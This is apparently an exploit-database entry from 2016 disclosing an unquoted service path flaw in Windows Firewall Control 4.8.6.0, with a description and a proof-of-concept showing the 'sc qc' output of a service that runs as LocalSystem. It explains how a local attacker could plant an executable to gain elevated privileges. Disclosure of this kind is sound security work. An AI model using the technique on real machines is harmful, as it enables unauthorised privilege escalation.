Windows Firewall Control - Unquoted Service Path Privilege Escalation

Ruben Garrote Garca 03.10.2016 Verified
Local Exploits Windows

Exploit Code

# Exploit Title: Windows Firewall Control Unquoted Service Path Privilege Escalation
# Date: 24/09/2016
# Exploit Author: zaeek@protonmail.com
# Vendor Homepage: http://www.binisoft.org
# Version: 4.8.6.0
# Tested on: Windows 7 32/64bit

====Description====

Windows Firewall Control lacks of the quotes in filepath, causing it to be a potential vector of privilege escalation attack.
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.

====Proof-of-Concept====

C:\\Users\\testusr>sc qc _wfcs
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: _wfcs
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\\Program Files\\Windows Firewall Control\\wfcs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Firewall Control
DEPENDENCIES : MpsSvc
SERVICE_START_NAME : LocalSystem